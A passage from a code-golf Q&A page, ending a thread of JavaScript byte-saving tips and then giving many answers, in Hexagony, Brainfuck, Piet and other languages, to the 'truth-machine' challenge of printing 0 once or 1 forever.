eval(a.join('+')) ``` **ES6**: 15 bytes ``` eval(a.join`+`) ``` Of course you can swap the `+` for anything you want, e.g., `*` for product or `/` for quotient. [Answer] ## Exception abusing in case string/character literals are prohibited, you can use a try catch block: ``` try{something0}catch(e){str=e.message.split(0)[0]} ``` now `str` equals `"something"` if more strings are needed you can chain it with a number (e.g. zeros) ``` try{something0foo0bar0}catch(e){arr=e.message.split(0)} ``` now `arr` equals `["something", "foo", "bar", " is not defined"]` [Answer] # Abuse literals The recent sample: Check whether `"c"` is uppercase or lowercase, doesn't matter if not letter ``` "c"<{} // returns false, lower case "C"<{} // returns true, upper case ``` [Answer] If you need to check for NaN, don't use `isNaN(x)`, but use `x!=x`, which is shorter and also works. ``` if(isNaN(x)){ if(x!=x){ ``` Note that this only works if `typeof(x) === "number"`; if it's a string for example, `isNaN("string")` returns `true`, but `"string" != "string"` returns `false`. Thanks to Cyoce for pointing this out! [Answer] Converting a `while` loop into a `for` loop is often equivalent: ``` while(i--); for(;i--;); ``` But the second form can have variable initialization combined: ``` i=10;while(i--); for(i=10;i--;); ``` Notice the second form is one character shorter than the first form. [Answer] If you're initializing a variable to `1` in every iteration of a loop (for example, resetting a variable in an outer loop for an inner loop), like the following (from [my answer to this question](https://codegolf.stackexchange.com/questions/4630/finding-not-quite-prime-numbers/4632#answer-4632)): ``` for(j=n-2;p=1,j++<=n;r|=p)for(i=1;++i<j;)p=j%i?p:0; ^^^^ ``` Since the result of a condition like `j++<=n` is `1` whenever its true, you can just assign the condition directly to the variable (because when it becomes false, the loop will stop executing and will no longer matter): ``` for(j=n-2;p=j++<=n;r|=p)for(i=1;++i<j;)p=j%i?p:0; ^^^^^^^^ ``` You can usually **save 2 characters** using this method. Regards to `@ugoren` for the idea in the comments to that answer. --- For another example, I also applied this trick to [my answer here](https://codegolf.stackexchange.com/questions/4665/find-columns-where-all-characters-are-the-same/4669#4669) with the expression `w=r=++c<S.length` in my outer for loop, saving a total of 4 characters. [Answer] If you can accept Spidermonkey (for now) specific scripts, you can use [ECMAScript 6 arrow functions](http://wiki.ecmascript.org/doku.php?id=harmony%3aarrow_function_syntax). Insteading of writing code like the following. ``` a.map(function(x){return x*2}) // function? return? ``` You can shorten it like this. ``` a.map(x=>x*2) ``` [Answer] # Rounding I know that alternatives to `Math.floor()` have been posted, but what about the others? ## Flooring: ``` Math.floor(x) //before 0|x //after ``` ## Rounding: ``` Math.round(x) //before 0|x+.5 //after ``` ## Ceiling: ``` Math.ceil(x) //before x%1?-~x:x //after - credits to @Tomas Langkaas ``` [Answer] Use a bitwise operation to round a number toward zero: ``` // do this T=Math.random()*6+1|0 // or do this T=~~(Math.random()*6+1) ``` (Source: [Random dice tipping](https://codegolf.stackexchange.com/questions/958/random-dice-tipping/959#959)) [Operator precedence](https://developer.mozilla.org/en/JavaScript/Reference/Operators/Operator_Precedence) determines which will be shorter in your program. [Answer] **Looping Tip I** You can save `1` character when looping by changing the `i` on the last time used: ``` //not so god for(i=0;i<3;i++){ alert(i); } //best for(i=0;i<3;){ alert(i++); } ``` **Note:** works with `--` too (but modify the loop accordingly to avoid infinite looping) --- **Looping Tip II** There are certain scenarios where you can save one character by playing with the incrementing operator and values: ``` for(i=0;i++<9;) for(i=0;++i<10;) ``` **Note:** you need to pay attention when for example `0 to -1`. and `9 to 10, 99 to 100`, so play around until you find a way to save the character [Answer] Very simple one, even so, no one had mentioned it. If you're using `Math.min()` or `Math.max()` you can save 6 chars by doing this: ``` Math.min(a,b) // 13 chars a<b?a:b // 7 chars Math.max(a,b) a>b?a:b ``` [Answer] ### Free commas! Often you'll want to include a comma in a string, perhaps like so: ``` f=(x,y,z)=>x+","+y+z ``` By abusing the string representation of arrays, this can be shortened by two bytes: ``` f=(x,y,z)=>[x,y]+z ``` This particular instance only works if you have three variables you want to concatenate as shown. You can use the same trick with two, but you need to be careful. There are three variants you might try: ``` f=(x,y)=>[x,y] f=(x,y)=>[x,]+y f=(x,y)=>x+[,y] ``` The first one will return an actual array rather than a string, which defeats the purpose. The second one *looks* like it will work, but in fact most modern browsers will remove the trailing comma when parsing the array. The third one will work though, at the same byte count as the second. --- To put this to good use, say you have a function which creates the range `[0...n]`: ``` f=x=>x?[...f(x-1),x]:[0] ``` If returning a string with a separator is allowed, you might do something like this, saving a few bytes: ``` f=x=>x?f(x-1)+" "+x:0 ``` However, you can save another byte with an array literal: ``` f=x=>x?f(x-1)+[,x]:0 ``` Note that depending on how you arrange the recursion, you may end up with a leading or trailing separator, so you'll need to make sure your output format is allowed by the challenge. [Example usage](https://codegolf.stackexchange.com/a/113056/42545) [Answer] # Prefer `.map` over `.reduce` Consider the following code for summing an array: ``` a.reduce(function(x,y){return x+y}) ``` Pretty long, right? What if I told you that you could get rid of the `return`? Well, you can: ``` a.map(function(x){t+=x},t=0) // 7 bytes saved ``` (Although an even shorter way is `eval(a.join("+"))`.) How about reducing by multiplication, where you have to specify the starting number anyway? ``` a.reduce(function(x,y){return x*y},1) // Looooong a.map(function(x){t*=x},t=1) // An easy 9 bytes shorter ``` (Again, `eval(a.join("*"))` works as well.) Here, let's try one that doesn't work with `eval(a.join())`: ``` a.reduce(function(x,y){return x+f(y)}) a.map(function(x){t+=f(x)},t=0) ``` Note that this doesn't work *quite* as well with ES6, although it's still a little shorter: ``` a.reduce((x,y)=>x+f(y)) a.map(x=>t+=f(x),t=0) ``` **Note:** in all of the `.map` versions, you will need to call `t` afterwards to get the actual value. [Answer] ## Converting an array of strings into numbers Take the array `["32", "0x30", "0o10", "7.642", "1e3"]`. The simple way to convert this to numbers would be `.map(n=>+n)` or `.map(Number)`. However, assuming you know everything is a valid number, you can simply use `.map(eval)`, saving at least a byte. [Answer] Something worth noting is that you can use a string in place of zero in some instances to save a couple of bytes here and there in loops: ``` s='';for(i=0;i++<9;)s+=i for(i=s='';i++<9;)s+=i // s="123456789", i=10 ``` [Answer] **How to compare a number with help of how numbers turn into booleans:** If you are going to check if something is equal to a *positive number*, you can subtract that amount and reverse what was inside the `if` and `else` blocks: ``` //simplified examples: x==3?"y":"n"; <- 13 Chars x-3?"n":"y"; <- 12 Chars //expanded examples: if(x==3){ yes(); }else{ no(); } if(x-3){ no(); }else{ yes(); } ``` And in case you are wanting to compare with a *negative number* (\*different than `-1`), you just simply need to *add* this number instead of subtracting. \*well, you can surely use `x.indexOf(y) + 1`, but in the special case of `-1` you have the opportunity to use `~x.indexOf(y)` instead. [Answer] In cases where you are using the ternary operator to chose between two *numbers*, and the conditional is either a *boolean* or *number* `1 or 0`, you can do math operations instead: ``` (x ? num1 : num2) conclusions: 1)if num1 equals num2, there ARE savings 2)if num1 is (+1) or (-1) than num2, there ARE savings 3)if either num1 or num2 equals to 0, there ARE savings 4)it is MORE LIKELY to find greater savings on num1>num2 instead of num1<num2 5)in method (*A) and (*B), savings are NOT GUARANTEED a)num1>num2 i)(num1==(num2+1)) ex1: (x?5:4) to (x+4) ex2: (x?8:7) to (x+7) ii)num2==0 ex1: (x?3:0) to (x*3) ex2: (x?7:0) to (x*7) iii) (*A) or (*B) //one might be shorter b)num1<num2 i)((num1+1)==num2) ex1: (x?4:5) to (5-x) ex2: (x?7:8) to (8-x) ii)num1==0 ex1: (x?0:3) to (!x*3) ex2: (x?0:7) to (!x*7) iii) (*A) or (*B) //one might be shorter c)num1==num2 i) ex1: (x?5:5) to (5) ex2: (x?-3:-3) to (-3) (*A) use ((x*(num1-num2))+num2) ex1: (x?8:4) to ((x*4)+4) ex2: (x?4:8) to ((x*-4)+8) ex3: (x?6:-4) to ((x*10)-4) ex4: (x?-4:6) to ((x*-10)+6) ex5: (x?4:-6) to ((x*10)-6) ex6: (x?-6:4) to ((x*-10)+4) ex7: (x?-5:-9) to ((x*4)-9) ex8: (x?-9:-5) to ((x*-4)-5) (*B) use ((!x*(num2-num1))+num1) ex1: (x?8:4) to ((!x*-4)+8) ex2: (x?4:8) to ((!x*4)+4) ex3: (x?6:-4) to ((!x*-10)+6) ex4: (x?-4:6) to ((!x*10)-4)) ex5: (x?4:-6) to ((!x*-10)+4) ex6: (x?-6:4) to ((!x*10)-6) ex7: (x?-5:-9) to ((!x*-4)-5) ex8: (x?-9:-5) to ((!x*4)-9) ``` **Note:** In addition to this, you will need to remove the unnecessary `0-`, `+0`, `+-` etc. **Note2:** there is an isolated case where `(x) !== (x?1:0)`, as `x` must be `typeof === "number"` for it to work. However, in the case of `(-x)` it works just fine. **Note3:** In case you don't find savings, simply use the former `(x?y:z)` Previously I thought method B couldn't ever beat A, however exceptions do exist: ``` (x?97:100) //original (-3*x+100) (3*!x+97) ``` I created a [github project](https://github.com/ajax333221/Ternary-Optimizer) that makes the simplification for us ([**jsFiddle demo**](http://jsfiddle.net/Q7T2a/1/embedded/result/)) [Answer] Instead of writing `true` you can use `!0`. [Answer] **Transforming to a Boolean**: ``` if(b){b=true}else{b=false} b=b?true:false; b=b?!0:!1; b=!!b; ``` **Note:** This changes `0`, `""`,`false`, `null`, `undefined` and `NaN` to `false` (everything else to `true`) ]
[Question] [ A **truth-machine** (credits goes to [this guy](https://esolangs.org/wiki/User:Keymaker) for coming up with it) is a very simple program designed to demonstrate the I/O and control flow of a language. Here's what a truth-machine does: * Gets a number (either 0 or 1) from STDIN. * If that number is 0, print out 0 and terminate. * If that number is 1, print out 1 forever. # Challenge Write a truth-machine as described above in your language of choice. The truth-machine must be a full program that follows these rules: * take input from STDIN or an acceptable alternative + If your language cannot take input from STDIN, it may take input from a hardcoded variable or suitable equivalent in the program * must output to STDOUT or an acceptable alternative + If your language is incapable of outputting the characters `0` or `1`, byte or unary I/O is acceptable. * when the input is `1`, it must continually print `1`s and only stop if the program is killed or runs out of memory * the output must only be either a `0` followed by either one or no newline or space, or infinite `1`s with each `1` followed by either one or no newline or space. No other output can be generated, except constant output of your language's interpreter that cannot be suppressed (such as a greeting, ANSI color codes or indentation). Your usage of newlines or spaces must be consistent: for example, if you choose to output `1` with a newline after it all `1`s must have a newline after them. * if and only if your language cannot possibly terminate on an input of `0` it is acceptable for the code to enter an infinite loop in which nothing is outputted. Since this is a catalog, languages created after this challenge are allowed to compete. Note that there must be an interpreter so the submission can be tested. It is allowed (and even encouraged) to write this interpreter yourself for a previously unimplemented language. Other than that, all the standard rules of [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'") must be obeyed. Submissions in most languages will be scored in bytes in an appropriate preexisting encoding (usually UTF-8). # Catalog The Stack Snippet at the bottom of this post generates the catalog from the answers a) as a list of shortest solution per language and b) as an overall leaderboard. To make sure that your answer shows up, please start your answer with a headline, using the following Markdown template: ``` ## Language Name, N bytes ``` where `N` is the size of your submission. If you improve your score, you *can* keep old scores in the headline, by striking them through. For instance: ``` ## Ruby, <s>104</s> <s>101</s> 96 bytes ``` If there you want to include multiple numbers in your header (e.g. because your score is the sum of two files or you want to list interpreter flag penalties separately), make sure that the actual score is the *last* number in the header: ``` ## Perl, 43 + 2 (-p flag) = 45 bytes ``` You can also make the language name a link which will then show up in the snippet: ``` ## [><>](http://esolangs.org/wiki/Fish), 121 bytes ``` ``` <style>body { text-align: left !important} #answer-list { padding: 10px; width: 290px; float: left; } #language-list { padding: 10px; width: 320px; float: left; } table thead { font-weight: bold; } table td { padding: 5px; }</style><script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="language-list"> <h2>Shortest Solution by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr> </thead> <tbody id="languages"> </tbody> </table> </div> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr> </thead> <tbody id="answers"> </tbody> </table> </div> <table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table><script>var QUESTION_ID = 62732; var ANSWER_FILTER = "!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe"; var COMMENT_FILTER = "!)Q2B_A2kjfAiU78X(md6BoYk"; var OVERRIDE_USER = 12012; var answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page; function answersUrl(index) { return "https://api.stackexchange.com/2.2/questions/" + QUESTION_ID + "/answers?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + ANSWER_FILTER; } function commentUrl(index, answers) { return "https://api.stackexchange.com/2.2/answers/" + answers.join(';') + "/comments?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + COMMENT_FILTER; } function getAnswers() { jQuery.ajax({ url: answersUrl(answer_page++), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { answers.push.apply(answers, data.items); answers_hash = []; answer_ids = []; data.items.forEach(function(a) { a.comments = []; var id = +a.share_link.match(/\d+/); answer_ids.push(id); answers_hash[id] = a; }); if (!data.has_more) more_answers = false; comment_page = 1; getComments(); } }); } function getComments() { jQuery.ajax({ url: commentUrl(comment_page++, answer_ids), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { data.items.forEach(function(c) { if (c.owner.user_id === OVERRIDE_USER) answers_hash[c.post_id].comments.push(c); }); if (data.has_more) getComments(); else if (more_answers) getAnswers(); else process(); } }); } getAnswers(); var SCORE_REG = /<h\d>\s*([^\n,<]*(?:<(?:[^\n>]*>[^\n<]*<\/[^\n>]*>)[^\n,<]*)*),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/; var OVERRIDE_REG = /^Override\s*header:\s*/i; function getAuthorName(a) { return a.owner.display_name; } function process() { var valid = []; answers.forEach(function(a) { var body = a.body; a.comments.forEach(function(c) { if(OVERRIDE_REG.test(c.body)) body = '<h1>' + c.body.replace(OVERRIDE_REG, '') + '</h1>'; }); var match = body.match(SCORE_REG); if (match) valid.push({ user: getAuthorName(a), size: +match[2], language: match[1], link: a.share_link, }); else console.log(body); }); valid.sort(function (a, b) { var aB = a.size, bB = b.size; return aB - bB }); var languages = {}; var place = 1; var lastSize = null; var lastPlace = 1; valid.forEach(function (a) { if (a.size != lastSize) lastPlace = place; lastSize = a.size; ++place; var answer = jQuery("#answer-template").html(); answer = answer.replace("{{PLACE}}", lastPlace + ".") .replace("{{NAME}}", a.user) .replace("{{LANGUAGE}}", a.language) .replace("{{SIZE}}", a.size) .replace("{{LINK}}", a.link); answer = jQuery(answer); jQuery("#answers").append(answer); var lang = a.language; lang = jQuery('<a>'+lang+'</a>').text(); languages[lang] = languages[lang] || {lang: a.language, lang_raw: lang.toLowerCase(), user: a.user, size: a.size, link: a.link}; }); var langs = []; for (var lang in languages) if (languages.hasOwnProperty(lang)) langs.push(languages[lang]); langs.sort(function (a, b) { if (a.lang_raw > b.lang_raw) return 1; if (a.lang_raw < b.lang_raw) return -1; return 0; }); for (var i = 0; i < langs.length; ++i) { var language = jQuery("#language-template").html(); var lang = langs[i]; language = language.replace("{{LANGUAGE}}", lang.lang) .replace("{{NAME}}", lang.user) .replace("{{SIZE}}", lang.size) .replace("{{LINK}}", lang.link); language = jQuery(language); jQuery("#languages").append(language); } }</script> ``` [Answer] # [Hexagony](https://github.com/mbuettner/hexagony), 6 bytes This was surprisingly tricky, ~~and I'm not convinced it's optimal...~~ ``` <.@!$? ``` After padding and unfolding the code, this represents the following hex grid: [![enter image description here](https://i.stack.imgur.com/6Q3Y4.png)](https://i.stack.imgur.com/6Q3Y4.png) This uses a similar control flow [like my recent error-free cat program](https://codegolf.stackexchange.com/a/62306/8478), moving along anti-diagonals. To achieve that we start by deflecting the instruction pointer (IP) to the left, where the purple path wraps around to the lower left corner. `?` reads the input as an integer. `!` prints it back. `.` is just a no-op. Now the corner of the grid acts as a branch: If the input was `0`, the IP will continue along the red path, which simply terminates the program with `@`. If the input was `1`, the IP will continue on the green path. Again, `.` is just a no-op, but `$` is the equivalent of Befunge's trampoline: it skips the next instruction. After wrapping, the next instruction would be the `?`, but due to `$` execution actually continues on the blue path, starting with `!` to print another copy of the `1`. This loop which only contains `!..$` is now repeated indefinitely. ### A study of control flow in Hexagony... I believe the above solution is optimal. I've written a brute forcer, which checks all 6-byte Hexagony programs, which contain at least one each of `?!@` (which are necessary; I've also checked `:` and `%` in place of `@` to terminate with a division-by-zero error, but that didn't help either). The check prints all the programs which a) produce a `0` on input `0` and terminate and b) produce at least two `1`s (and nothing else) and *don't* terminate within the first 60 ticks of the program (200 ticks for 5-byte solutions). I doubt that any valid solution would take more than 200 ticks to correctly print the first `0` or the second `1` on such a small grid, so I don't think I've missed out on any potential solutions. The search didn't yield any results for 5 bytes, but 57 results for 6 bytes (using `@`; there's no need to terminate with an error if we can solve this cleanly in the same amount of bytes). Of those 57 only 6 were false positives which actually printed only two `1`s and then entered an infinite loop without printing any more. One solution was listed twice because it contained two `!` commands. That leaves exactly 50 valid solutions. There is a certain amount of degeneracy between the solutions where one or two characters are not substantial, e.g. because they're effectively no-ops anyway. The solutions can be grouped into 23 sets of genuinely distinct programs (in some cases, there is only a single character difference between two sets, but it changes the control flow substantially, so I've counted them separately). Two of the groups even make use of multiple instruction pointers in a very unexpected way. As I would never have come up with most of these ways to use the branches and mirrors, they make a very interesting study of what sorts of control flow are possible in Hexagony, and I have definitely learned some new tricks for future golfs. The *overall* control flow is almost always the same: read a number, print it. If it's `0` find a way to the `@`, if not keep looping through the `!` while mainting an edge value of `1`. There are four notable exceptions: * One solution (the one with two `!`) prints two `1`s per iteration through the grid, therefore printing about twice as fast as the majority of programs. I've marked this one with `x2` below. * A few solutions (those which contain an `o`) replace the `1` with a `111` (the character code of `o`), so they print *three* `1`s per iteration, making them print about three times as fast as the majority of programs. I've marked these with `x3` below. * Two solutions *append* a `1` to the edge value in each iteration (so `1` --> `11` --> `111` --> ...). Those print *very* fast, but they'll run out of memory eventually. I've marked these with `OoM` below. * Two solutions enter a very tight loop which merely bounces back and forth over the `!`, printing on every other tick (instead of of every 5th or so), which makes them slightly faster (and neater). I've marked these with `><` below. So here is the entire zoo: ``` #1 #5 #12 #19 ?!/$.@ ?$!>$@ .?!/$@ |!|?$@ # >< ?!/$1@ # OoM ?$!|$@ =?!/$@ ?!/$=@ #20 ?!/$\@ #6 #13 $@.?<! ?!/$o@ # x3 ?/!<|@ .?/!$@ $@1?<! # OoM ?!/$!@ # x2 =?/!$@ $@=?<! #7 $@o?<! # x3 #2 ?\!<|@ #14 ?!>$)@ \!?__@ #21 ?!>$1@ #8 _>_!?@ ?!>$o@ # x3 ?<!>$@ # >< #15 ?!|$)@ \_?!$@ #22 ?!|$1@ #9 <!@.$? ?!|$o@ # x3 ?\$!@$ #16 <!@/$? \_?!_@ <!@=$? #3 #10 <$@!$? ?!|)$@ ?~#!@) #17 <.@!$? ?!|1$@ ?~#!@1 $$?\@! </@!$? ?!|o$@ # x3 <=@!$? #11 #18 #4 ?$)\@! \$?\@! #23 ?_!<@> ?$1\@! <<@]!? ?$o\@! # x3 ``` The following is a short walkthrough for a handful of the more representative groups. Especially groups 10 and 23 are worth checking out. There are many other interesting and sometimes convoluted paths in the other groups, but I think I've bored you enough at the end of this. For anyone who really wants to learn Hexagony, these are definitely worth investigating though, as they exhibit even more possible uses of the mirrors and `$`. **Group 1** This one isn't much more elaborate than my original solution, but the paths go in different directions. It also allows for the largest number of variations in a single cell, as the right-most no-op can be replaced with 5 different commands which still make this valid without changing the structure: [![enter image description here](https://i.stack.imgur.com/Tm3rR.png)](https://i.stack.imgur.com/Tm3rR.png) **Group 2** This one is quite interesting, because it only moves horizontally. After wrapping to the `>`, the IP reverses immediately, taking the branch in the corner. It's not entirely well visibly no the diagram, but in the case of the `1` we traverse the first row again, but backwards this time. This also means we run into `?` again, which now returns `0` (EOF). This is fixed with `)` (increment) to keep printing `1`s. This also has 5 variations, as `)` could also be `1` or `o`, and `>` could also be `|`: [![enter image description here](https://i.stack.imgur.com/0szdq.png)](https://i.stack.imgur.com/0szdq.png) **Group 3** This one looks almost identical to the previous one but it's messy as hell. Up to hitting `|` and then traversing the bottom or top row it's the same. But in the case of a loop, the `$` now skips over the `)` *onto* the mirror. So we follow the turquoise path to the right, now hit the increment, skip over the `@` before we wrap around to the `|` *again* and *then* go back to the green path at the top. [![enter image description here](https://i.stack.imgur.com/tY4Up.png)](https://i.stack.imgur.com/tY4Up.png) **Group 4** I thought this one was particularly nifty: [![enter image description here](https://i.stack.imgur.com/MlEZV.png)](https://i.stack.imgur.com/MlEZV.png) The `_` mirror in the top right corner is initially a no-op, so we print with `!` and hit the `<`. The `0` path now hits the horizontal mirror and terminates. The `1` path takes a really interesting trajectory though: it deflects down, wraps to the `!`, gets redirected towards the horizontal and then wraps back to the `!` *again*. It then keeps moving in this rhombus shape, printing twice per iteration (every third tick). **Group 8** This is one of the two solutions with a really tight printing loop: [![enter image description here](https://i.stack.imgur.com/C5egM.png)](https://i.stack.imgur.com/C5egM.png) The `<` acts as the branch. After wrapping twice, `0` hits `@`. `1` on the other hand, first skips the `?`, then `>` sends it onto the the `$` again, so that is skips the `@`. Then the IP wraps into the turquoise path, where it bounces back and forth between the `>` and `<` (wrapping around the edge in between). **Group 10** One of two groups which use other instruction pointers, and it's absolutely beautiful. Hexagony has 6 - each one starts from a different corner along the clockwise edge, but only one of them is active at a time. [![enter image description here](https://i.stack.imgur.com/j7ZeZ.png)](https://i.stack.imgur.com/j7ZeZ.png) As usual, we read with `?`. Now `~` is unary negation: it turns the `1` into a `-1`. Next, we hit the `#`. This is one way to switch between IPs: it takes the current edge value modulo 6 and switches to the corresponding IP (IPs are numbered from `0` in the clockwise direction). So if the input was `0`, then the IP simply remains the same, and travels boringly straight ahead into `!@`. But if the input was `1`, then the current value is `-1` which is `5 (mod 6)`. So we switch to the IP which starts on the very same cell (the green path). Now `#` is a no-op and `?` sets the memory edge to `0`. `)` increments so `!` prints a `1`. Now we hit `~` again to ensure that `#` is still a no-op (as opposed to switching us to IP 1 which would terminate the program). It's mindblowing how well everything fits together in this little program. **Group 22** Just to note, this is the group my original solution is in. It also happens to be largest group, because the no-op can be in two different places, and there are several choices for the actual (effective no-op) command. **Group 23** This is the other group using multiple IPs. In fact this one uses *3* different IPs. The top right corner is a bit of a mess, but I'll try to walk you through this: [![enter image description here](https://i.stack.imgur.com/LxAc6.png)](https://i.stack.imgur.com/LxAc6.png) So, the beginning you've seen before: `<` deflects North-East, `?` reads input. Now `]` is another way to change between IPs: it hands control to the next IP in clockwise order. So we switch control to the turquoise path which (I know it's hard to see) starts in the North-East corner going South-East. It is immediately reflected by the `<` so that it wraps to the South-East corner, going North-West. It *also* hits the `]` so we switch to the *next* IP. This is the grey path starting in the East corner, going South-West. It prints the input, then wraps to the North-East corner. `<` deflects the path into the horizontal, where it is reflected by the *other* `<`. Now the right-hand `<` acts as a branch: if the input was `0`, the IP moves North-East, and wraps to the `@`. If the input was `1`, the IP moves to the `!`, wraps to the lef-thand `<` where it is reflected... now in the corner, it wraps back to the `!`, gets deflected by the the right `<`, reflected by the left `<` and the paths starts over... Quite a mess, but a beautiful mess. :) --- Diagrams generated with [Timwi's](https://codegolf.stackexchange.com/users/668/timwi) amazing [HexagonyColorer](https://github.com/Timwi/HexagonyColorer). [Answer] # [Motorola MC14500B](https://en.wikipedia.org/wiki/Motorola_MC14500B) Machine Code, 2 bytes In hex: ``` 58EC ``` Explanation: ``` 5 OR the register with input from the data bus 8 Write the register to the data bus E Skip next instruction if register is zero C Jump ``` The Motorola MC14500B is a 1-bit microcontroller; it has one 1-bit register and a 1-bit data bus. Since the opcodes are 4 bits each, there are only sixteen; half of them carry out a logical operation between the register and the bit on the data bus. The jump instruction sets a jump flag; when no address is provided, it is common to set the program counter to 0. If the input bit was zero, the processor will not jump. If the input bit was 1, the processor jumps back to the start; since we're `OR`ing with input, it doesn't matter what the input signal is afterwards—the register will then be 1 forever. As is conventional, the register is initialized to 0. A list of the opcodes can be found on the data sheet, or [here](https://www.brouhaha.com/%7Eeric/retrocomputing/motorola/mc14500b/). [Answer] ## Arnold C, 296 Bytes ``` IT'S SHOWTIME HEY CHRISTMAS TREE i YOU SET US UP @NO PROBLEMO BECAUSE I'M GOING TO SAY PLEASE i STICK AROUND i TALK TO THE HAND i CHILL BULLSHIT TALK TO THE HAND i YOU HAVE NO RESPECT FOR LOGIC YOU HAVE BEEN TERMINATED ``` Not really competitive, but for the fun of it. Does not support stdin, replace `@NO PROBLEMO` with `@I LIED` for a zero value. `@No Problemo` is 1. Run with (assuming file is truthmachine.arnoldc): ``` wget http://lhartikk.github.io/ArnoldC.jar java -jar ArnoldC.jar truthmachine.arnoldc java truthmachine ``` [Answer] # Minecraft, 18 Bytes (MC Version 15w45a) [![minecraft sketch](https://i.stack.imgur.com/A5eP4.png)](https://i.stack.imgur.com/A5eP4.png) As you can see, there is a lever directed into the repeating command block, which has the command `say 1` in it. There is an signal inverting torch on top of that, which directs power into the single-run command block with the command `say 0` in it. Whenever the switch is directed towards truthy, the repeater block uses the code `say 1` to output infinite `1`s. When the lever is redirected to false, it outputs a single `0`. Note that this outputs a `[@]` by default. If you *really* want just straight up 1s and zeros, this becomes 34 bytes, where the code in the command blocks are `tellraw @a [1]` and `tellraw @a [0]`. This is using @Cᴏɴᴏʀ O'Bʀɪᴇɴ's suggested byte count for MC [as can be found in Meta](https://codegolf.meta.stackexchange.com/a/7397/44713). [Answer] # Bash + GNU utils, 13 ``` grep 0||yes 1 ``` --- # Bash, 35 ``` read n;for((;n;));{ echo 1;};echo 0 ``` [Answer] # Microscript, 3 bytes ``` i{p ``` The shortest one I know. Explanation: ``` i Takes numeric input and puts it in register 1 { while register 1 is truthy p Print the contents of register 1 ``` Microscript has implicit printing of register 1 upon termination, which is the reason why an input of `0` gets printed once. [Answer] # Ruby, 20 ``` print while/1/||gets ``` Run from the command line to avoid warnings, as ``` ruby -e "print while/1/||gets" <<< 0 ruby -e "print while/1/||gets" <<< 1 ``` Explanation: Less golfed, this is ``` while /1/ || gets print end ``` When a Regexp is used in a conditional, it evaluates as falsey unless the variable `$_` is populated and matches the pattern. On the first time through the loop, `$_` is empty so we fall through to `gets`, which sets the value of `$_` to a line read from STDIN. `print` with no arguments prints `$_`. Now we evaluate the conditional again. If we read in 1, we short-circuit and just print 1 again, and so on forever. Otherwise, we fall through to `gets`, but since there's no second line of input, `gets` returns nil, so the loop ends. [Answer] # Turing Machine Code, ~~32~~ 22 bytes Using the rule table syntax found [here.](http://morphett.info/turing/turing.html) ``` 0 0 0 * halt 0 * 1 r 0 ``` [Answer] ## Python 2, 29 bytes ``` a=input() while 1:print a;1/a ``` This terminates with a division error on `0`, which is [allowed by default](https://codegolf.meta.stackexchange.com/a/4781/20260). [Answer] # JavaScript, 28 bytes [For loops are often shorter than while loops.](https://codegolf.stackexchange.com/a/2695/45393) `alert(x)` returns `undefined`, which is falsy, so the bitwise or operator, `|`, casts it to `0`. Thus, if `x` is `"0"`, alert once, otherwise keep looping. Uses `alert` for STDOUT like [this answer](https://codegolf.stackexchange.com/a/62742/45393). ``` for(x=prompt();alert(x)|x;); ``` [Answer] # Brainfuck, ~~41~~ ~~36~~ ~~31~~ 30 bytes Shortened by printing once right after input and with help from Ethan and user46915. ``` ,.+++[->>+<-----<]>>---<-[>.<] ``` Previous version: Subtract 48 from the input, and if it's not zero, add 1 to the 48 to print ASCII `1` forever, otherwise print `0`. ``` -[>+<-----]>--->,<[->->+<<]>[>+<]>.<[>.<] ``` I ran it [**here**](http://esoteric.sange.fi/brainfuck/impl/interp/i.html), but due to buffered output, you cannot see any output since the program never terminates on `1`. Edit: I had forgotten to print `0` on input `0`. Fixed now. I like the `>.<` faces at the end. [Answer] # Pyth, ~~4~~ ~~3~~ 2 ``` Wp ``` There is ~~a~~ no! trailing space (thanks isaac :) ). The space used to be required to make the while loop compile, but Pyth has since been updated. Normally that would disqualify using it, but since this is a catalog it should be valid. ### Explanation: ``` Wp : implicit Q = eval(input) W : while p : print and return the value of Q, to be evaluated as the while condition : Functions without enough arguments automatically use Q now : do nothing in the body of the while loop ``` [Answer] # Piet, 27 18 16 codels (Codel is a fancy name for pixel used to avoid confusion when an image is stretched for viewing. I counted codels instead of bytes because piet scripts are saved as images, so the physical size may vary. I think an ideal file format that would save this piet as efficiently as possible would take 11 bytes. In practice, my tiny gif file is 62 bytes, with optimal palette data. Tell me if I should use this as the size of my entry instead of the codel amount.) Original image: [![tiny version](https://i.stack.imgur.com/R9SOq.gif)](https://i.stack.imgur.com/R9SOq.gif) Enlarged: [![enlarged version](https://i.stack.imgur.com/5T9WW.png)](https://i.stack.imgur.com/5T9WW.png) In piet, the difference between two colors is what determines which command runs, so seeing the same color twice doesn't mean it does the same action. The execution begins in the top-left codel. Then it moves horizontally, performing the following: 1. Read a number and put it on the stack 2. Duplicate the top of the stack 3. Pop and output the top of the stack 4. Pop the top of the stack and rotate clockwise that number of times. If the input was 1, the cursor then moves down into the lime codel, which pushes 1 on the stack. Then the execution continues going left. When the cursor passes from a color to white and from white to a color, nothing happens. Since black is considered as walls too, the cursor ends up going back to the lime codel on the top line, and repeats the whole thing from step 2. If, however, the input was 0, the cursor will never go down and will end up in the blue J on the right (pun intended, it was worth it), were it will stay trapped (because the top, right, left and bottom sides of this J-shaped block are next to black codels or the edge of the image). Since the cursor is trapped, execution ends. **Unexpected values:** If the user writes another number, it 